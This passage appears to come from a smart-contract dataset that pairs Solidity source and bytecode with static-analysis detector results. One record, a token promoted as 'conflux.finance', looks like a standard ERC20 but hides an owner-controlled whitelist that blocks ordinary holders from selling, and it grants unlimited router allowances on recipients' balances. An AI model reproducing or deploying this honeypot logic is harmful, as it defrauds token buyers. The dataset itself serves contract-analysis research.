190506128ce60008301846125dc565b92915050565b60006040820190506128e960008301856125cd565b6128f660208301846125cd565b9392505050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061292f8261294c565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b60006129b682612993565b9050919050565b60005b838110156129db5780820151818401526020810190506129c0565b838111156129ea576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612a1481612924565b8114612a1f57600080fd5b50565b612a2b81612942565b8114612a3657600080fd5b50565b612a428161296c565b8114612a4d57600080fd5b50565b612a5981612976565b8114612a6457600080fd5b50565b612a7081612986565b8114612a7b57600080fd5b5056fe436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365436f6d703a3a617070726f76653a20616d6f756e7420657863656564732039362062697473436f6d703a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473436f6d703a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773436f6d703a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a2646970667358221220d990144cf2bb29760106d4009aa75efa1fce95e3d11d2da8244e539d57fd290f64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
7,179
0xe02506134dde171d9fc5d1fbc408da9b2c0633f7
pragma solidity ^0.4.11; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface IERC20{ function totalSupply() constant returns (uint256 totalSupply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract DateTime { /* * Date and Time utilities for ethereum contracts * */ struct _DateTime { uint16 year; uint8 month; uint8 day; uint8 hour; uint8 minute; uint8 second; uint8 weekday; } uint constant DAY_IN_SECONDS = 86400; uint constant YEAR_IN_SECONDS = 31536000; uint constant LEAP_YEAR_IN_SECONDS = 31622400; uint constant HOUR_IN_SECONDS = 3600; uint constant MINUTE_IN_SECONDS = 60; uint16 constant ORIGIN_YEAR = 1970; function isLeapYear(uint16 year) public pure returns (bool) { if (year % 4 != 0) { return false; } if (year % 100 != 0) { return true; } if (year % 400 != 0) { return false; } return true; } function leapYearsBefore(uint year) public pure returns (uint) { year -= 1; return year / 4 - year / 100 + year / 400; } function getDaysInMonth(uint8 month, uint16 year) public pure returns (uint8) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { return 31; } else if (month == 4 || month == 6 || month == 9 || month == 11) { return 30; } else if (isLeapYear(year)) { return 29; } else { return 28; } } function parseTimestamp(uint timestamp) internal pure returns (_DateTime dt) { uint secondsAccountedFor = 0; uint buf; uint8 i; // Year dt.year = getYear(timestamp); buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf; secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf); // Month uint secondsInMonth; for (i = 1; i <= 12; i++) { secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year); if (secondsInMonth + secondsAccountedFor > timestamp) { dt.month = i; break; } secondsAccountedFor += secondsInMonth; } // Day for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) { if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) { dt.day = i; break; } secondsAccountedFor += DAY_IN_SECONDS; } // Hour dt.hour = getHour(timestamp); // Minute dt.minute = getMinute(timestamp); // Second dt.second = getSecond(timestamp); // Day of week. dt.weekday = getWeekday(timestamp); } function getYear(uint timestamp) public pure returns (uint16) { uint secondsAccountedFor = 0; uint16 year; uint numLeapYears; // Year year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS); numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears; secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears); while (secondsAccountedFor > timestamp) { if (isLeapYear(uint16(year - 1))) { secondsAccountedFor -= LEAP_YEAR_IN_SECONDS; } else { secondsAccountedFor -= YEAR_IN_SECONDS; } year -= 1; } return year; } function getMonth(uint timestamp) public pure returns (uint8) { return parseTimestamp(timestamp).month; } function getDay(uint timestamp) public pure returns (uint8) { return parseTimestamp(timestamp).day; } function getHour(uint timestamp) public pure returns (uint8) { return uint8((timestamp / 60 / 60) % 24); } function getMinute(uint timestamp) public pure returns (uint8) { return uint8((timestamp / 60) % 60); } function getSecond(uint timestamp) public pure returns (uint8) { return uint8(timestamp % 60); } function getWeekday(uint timestamp) public pure returns (uint8) { return uint8((timestamp / DAY_IN_SECONDS + 4) % 7); } function toTimestamp(uint16 year, uint8 month, uint8 day) public pure returns (uint timestamp) { return toTimestamp(year, month, day, 0, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) public pure returns (uint timestamp) { return toTimestamp(year, month, day, hour, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) public pure returns (uint timestamp) { return toTimestamp(year, month, day, hour, minute, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) public pure returns (uint timestamp) { uint16 i; // Year for (i = ORIGIN_YEAR; i < year; i++) { if (isLeapYear(i)) { timestamp += LEAP_YEAR_IN_SECONDS; } else { timestamp += YEAR_IN_SECONDS; } } // Month uint8[12] memory monthDayCounts; monthDayCounts[0] = 31; if (isLeapYear(year)) { monthDayCounts[1] = 29; } else { monthDayCounts[1] = 28; } monthDayCounts[2] = 31; monthDayCounts[3] = 30; monthDayCounts[4] = 31; monthDayCounts[5] = 30; monthDayCounts[6] = 31; monthDayCounts[7] = 31; monthDayCounts[8] = 30; monthDayCounts[9] = 31; monthDayCounts[10] = 30; monthDayCounts[11] = 31; for (i = 1; i < month; i++) { timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1]; } // Day timestamp += DAY_IN_SECONDS * (day - 1); // Hour timestamp += HOUR_IN_SECONDS * (hour); // Minute timestamp += MINUTE_IN_SECONDS * (minute); // Second timestamp += second; return timestamp; } } contract ySignToken is IERC20{ using SafeMath for uint256; uint constant MINUTE_IN_SECONDS = 60; uint constant HOUR_IN_SECONDS = 3600; uint constant DAY_IN_SECONDS = 86400; uint public _totalSupply = 18400000000000000000000000; uint public constant Max = 80000000000000000000000000; uint256 public startTime ; string public constant symbol = "YSN"; string public constant name = "ySignToken"; uint8 public constant decimals = 18; uint256 public RATE; uint256 public Check = 0; address public owner; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; function() payable{ createToken(); } function ySignToken(){ balances[msg.sender] = _totalSupply; owner = msg.sender; startTime = now; } function createToken() payable{ uint256 tokenss = msg.value; if(now < startTime + (7 * DAY_IN_SECONDS + 6 * HOUR_IN_SECONDS)){ RATE = 5556; if(_totalSupply <= 28400000000000000000000000){ Check = 1; } } else if(now < startTime + (14 * DAY_IN_SECONDS)){ RATE = 2778; if(_totalSupply <= 38400000000000000000000000){ Check = 1; } } else if(now < startTime + (21 * DAY_IN_SECONDS)){ RATE = 1852; if(_totalSupply <= 48400000000000000000000000){ Check = 1; } } else if(now < startTime + (28 * DAY_IN_SECONDS)){ RATE = 1389; if(_totalSupply <= 58400000000000000000000000){ Check = 1; } } else RATE = 1191; require( msg.value > 0 && _totalSupply.add(msg.value.mul(RATE)) <= Max && Check > 0 ); uint256 tokens = msg.value.mul(RATE); balances[msg.sender] = balances[msg.sender].add(tokens); _totalSupply = _totalSupply.add(tokens); owner.transfer(msg.value); Check = 0; } function totalSupply() constant returns (uint256 totalSupply){ return _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance){ return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success){ require( balances[msg.sender] >= _value && _value > 0 ); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to,_value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success){ require( allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0 ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success){ allowed[msg.sender][_spender] = _value; Approval(msg.sender,_spender,_value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining){ return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f0578063095ea7b31461017e57806318160ddd146101d857806323b872dd146102015780632de4ca591461027a578063313ce567146102a35780633eaaf86b146102d2578063664e9704146102fb57806370a082311461032457806378e97925146103715780638da5cb5b1461039a57806395d89b41146103ef5780639cbf9e361461047d578063a0f8281714610487578063a9059cbb146104b0578063dd62ed3e1461050a575b6100ee610576565b005b34156100fb57600080fd5b61010361081d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610143578082015181840152602081019050610128565b50505050905090810190601f1680156101705780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018957600080fd5b6101be600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610856565b604051808215151515815260200191505060405180910390f35b34156101e357600080fd5b6101eb610948565b6040518082815260200191505060405180910390f35b341561020c57600080fd5b610260600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610951565b604051808215151515815260200191505060405180910390f35b341561028557600080fd5b61028d610cde565b6040518082815260200191505060405180910390f35b34156102ae57600080fd5b6102b6610ce4565b604051808260ff1660ff16815260200191505060405180910390f35b34156102dd57600080fd5b6102e5610ce9565b6040518082815260200191505060405180910390f35b341561030657600080fd5b61030e610cef565b6040518082815260200191505060405180910390f35b341561032f57600080fd5b61035b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cf5565b6040518082815260200191505060405180910390f35b341561037c57600080fd5b610384610d3e565b6040518082815260200191505060405180910390f35b34156103a557600080fd5b6103ad610d44565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103fa57600080fd5b610402610d6a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610442578082015181840152602081019050610427565b50505050905090810190601f16801561046f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610485610576565b005b341561049257600080fd5b61049a610da3565b6040518082815260200191505060405180910390f35b34156104bb57600080fd5b6104f0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610db2565b604051808215151515815260200191505060405180910390f35b341561051557600080fd5b610560600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fa7565b6040518082815260200191505060405180910390f35b600080349150610e106006026201518060070201600154014210156105c2576115b46002819055506a177def15bdef29760000006000541115156105bd5760016003819055505b61068c565b62015180600e026001540142101561060157610ada6002819055506a1fc3842bd1f071c00000006000541115156105fc5760016003819055505b61068b565b62015180601502600154014210156106405761073c6002819055506a28091941e5f1ba0a00000060005411151561063b5760016003819055505b61068a565b62015180601c026001540142101561067f5761056d6002819055506a304eae57f9f3025400000060005411151561067a5760016003819055505b610689565b6104a76002819055505b5b5b5b6000341180156106cf57506a422ca8b0a00a42500000006106cc6106bb6002543461102e90919063ffffffff16565b60005461106990919063ffffffff16565b11155b80156106dd57506000600354115b15156106e857600080fd5b6106fd6002543461102e90919063ffffffff16565b905061075181600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461106990919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107a98160005461106990919063ffffffff16565b600081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561081157600080fd5b60006003819055505050565b6040805190810160405280600a81526020017f795369676e546f6b656e0000000000000000000000000000000000000000000081525081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008054905090565b600081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610a1e575081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610a2a5750600082115b1515610a3557600080fd5b610a8782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108790919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1c82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461106990919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bee82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108790919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60035481565b601281565b60005481565b60025481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60015481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f59534e000000000000000000000000000000000000000000000000000000000081525081565b6a422ca8b0a00a425000000081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610e035750600082115b1515610e0e57600080fd5b610e6082600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108790919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ef582600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461106990919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060008414156110435760009150611062565b828402905082848281151561105457fe5b0414151561105e57fe5b8091505b5092915050565b600080828401905083811015151561107d57fe5b8091505092915050565b600082821115151561109557fe5b8183039050929150505600a165627a7a7230582028edfcaba239164f230854fc93a170d8379bb037c22a800687c9b87fda1bf9260029
{"success": true, "error": null, "results": {}}
7,180
0xea89da6ec1aa4285fd68f65adf1dd56bac825335
//conflux.finance //conflux.finance //conflux.finance //!!!Important things repeated three times pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _ints(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _ints(address sender, address recipient, uint256 amount) internal view virtual{ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){ _Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash); } } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _ErcTokens(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251